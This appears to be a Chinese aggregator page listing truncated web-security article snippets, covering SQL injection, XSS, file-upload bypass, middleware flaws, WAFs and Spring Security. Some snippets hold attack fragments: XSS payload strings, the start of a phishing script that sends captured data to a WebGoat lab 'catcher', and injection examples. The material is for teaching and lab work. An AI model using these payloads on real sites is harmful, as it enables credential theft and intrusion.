Web安全攻防-----TCP/IP安全篇
知识点： 掌握TCP/IP的体系分层结构 掌握TCP/IP的各一层功能特点 掌握TCP/IP的数据在各层的名称 掌握TCP/IP的体系数据的封装和解封装 1.TCP/IP协议的历史 TCP/IP的起源可以追溯到由美国国防部(DoD)高级研究...
Web中间件常见安全漏洞总结
今天看到一篇公众号文章写的关于中间件漏洞的整理，里面有部分是我不知道的，转载一下，https://mp.weixin.qq.com/s/2rSNjMxHZjAGMmzKStF28w 第一章：IISIIS 6 解析漏洞IIS 7 解析漏洞PUT任意文件写入IIS短文件漏洞HTTP.SYS远程...
小迪安全26WEB 攻防-通用漏洞&SQL 注入 &Sqlmap&Oracle&Mongodb&DB2 等
#知识点： 1、数据库注入-Oracle&Mongodb 2、数据库注入-DB2&SQLite&Sybase 3、SQL 注入神器-SQLMAP 安装使用拓展 数据库注入： 数据库注入-联合猜解-Oracle&Mongodb 1.Oracl...
超轻量级Web安全漏洞扫描工具Netsparker使用教程介绍
Netsparker是一款web应用安全漏洞扫描工具Netsparter官网：https://www.netsparker.com/web-vulnerability-scanner/，与其他安全扫描工具相比更好检测SQL注入和跨站脚本攻击类型的安全漏洞。打开工具，点击start a new sca...
CTF--Web安全--SQL注入之Post-Union注入
一、手动POST注入实现绕过 账号密码检测 我们利用sqli-labs/Less-11靶场来进行演示： 我们可以看到一个登录页面 打开Less-11的根目录，我们打开页面的源代码(PHP实现)。 用VS-code打开文件，找到验证登录信息的代码行。 此形式的代码存在POST注入漏洞。我们可以注...
中文字体名称对照表(unicode码)及20个web安全字体
在Web编码中，CSS默认应用的Web字体是有限的，虽然在新版本的CSS3，我们可以通过新增的@font-face属性来引入特殊的浏览器加载字体。但多数情况下，考虑...
web安全漏洞
1.什么是Web漏洞WEB漏洞通常是指网站程序上的漏洞，可能是由于代码编写者在编写代码时考虑不周全等原因而造成的漏洞。如果网站存在WEB漏洞并被黑客攻击者利用，攻击...
web安全：QQ号快速登录漏洞及被盗原理
为什么你什么都没干，但QQ空间中却发了很多小广告？也许你的QQ账号已经被盗。本文将讲解一个QQ的快速登录的漏洞。我前阵子在论坛上看到一个QQ的快速登录的漏洞，觉得非...
WEB安全防护相关响应头（下）
正确设置页面响应头 保护用户敏感信息 前篇“WEB安全防护相关响应头（上）”中，我们分享了 X-Frame-Options、X-Content...
Spring Boot整合Spring Security：构建安全的Web应用
文章目录 1. 添加依赖2. 配置Spring Security3. 创建用户服务4. 控制器和视图5. 运行应用Spring Security是一个强大的身份验证和访问控制框架，用于保护Spring应用程序。它提供了全面的安全服务，包括身份验证、授权、攻击防护等。本文将介绍如何在Spring...
web安全之SQL注入
一、sql注入是一种将sql代码添加到输入参数中传递到sql服务器解析并执行得一种攻击手法例：$sql = "SELECT * FROM goods WHERE Id = 1";查询的结果是Id为1的商品信息，下面将演示sql攻击手法例：$sql = "SELECT * FROM g...
Web应用安全防护-WAF
web应用开发中不可避免需要考虑web应用的安全问题，那么常见的安全风险包含哪些呢？Web应用常见的安全风险在web应用开发中可能存在以下的安全风险：安全风险Top 10A1:2017-注入将不受信任的数据作为命令或查询的一部分发送到解析器时，会产生诸如SQL注入、NoSQL注入、OS注入和LDAP...
Web安全XSS
Web安全XSS简单的反射型XSS钓鱼演示</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?P...
web 安全 & web 攻防: XSS（跨站脚本攻击）和 CSRF（跨站请求伪造）
web 安全 & web 攻防: XSS（跨站脚本攻击）和 CSRF（跨站请求伪造）XSS（跨站脚本攻击）和CSRF（跨站请求伪造）Cross-site Scripting (XSS)https://www.owasp.org/index.php/Cross-site_Scripting_(...
[WEB安全]XSS命令总结
一：正常构造方式：1、无过滤，直接写：<script>alert(1)</script>2、正常截断："> <script>alert(1)</script>'> <script>alert(1)</script>3...
web安全-xss攻击
web安全问题xss攻击1.html标签html内容的转义 escapeHtmlstr = str.replace(/&/g,'&');str = str.replace(/</g,'<');str = str.replace(/>/g,'>...
通过Web安全工具Burp suite找出网站中的XSS漏洞实战(二)
一、背景笔者6月份在慕课网录制视频教程XSS跨站漏洞 加强Web安全,里面需要讲到很多实战案例，在漏洞挖掘案例中分为了手工挖掘、工具挖掘、代码审计三部分内容,手工挖...
阿赫亚web安全JSON
前言JSON（JavaScript Object Notation），可以说，这一事实，浏览器，server数据交换标准。的格式如XML，或者其他自己定义的格式会越来越少。为什么JSON这么流行？和JavaScript无缝对接是一个原因。另一个重要原因是能够比較轻松的实现跨域。假设是XML。或者其他...
风炫安全web安全学习第三十七节课 15种上传漏洞讲解(二)
风炫安全web安全学习第三十七节课 15种上传漏洞讲解(二)05后缀名黑名单校验之上传.htaccess绕过还是使用黑名单，禁止上传所有web容器能解析的脚本文件的后缀$is_upload = false;$msg = null;if (isset($_POST['submit'])) { ...
20145210 20145226 《信息安全系统设计基础》实验五 简单嵌入式WEB服务器实验
20145210 20145226 《信息安全系统设计基础》实验五 简单嵌入式WEB服务器实验结对伙伴：20145226 夏艺华实验报告封面实验目的与要求· 掌握在ARM开发板实现一个简单WEB服务器的过程。· 学习在ARM开发板上的SOCKET网络编程。· 学习在Linux环境下signal（）函...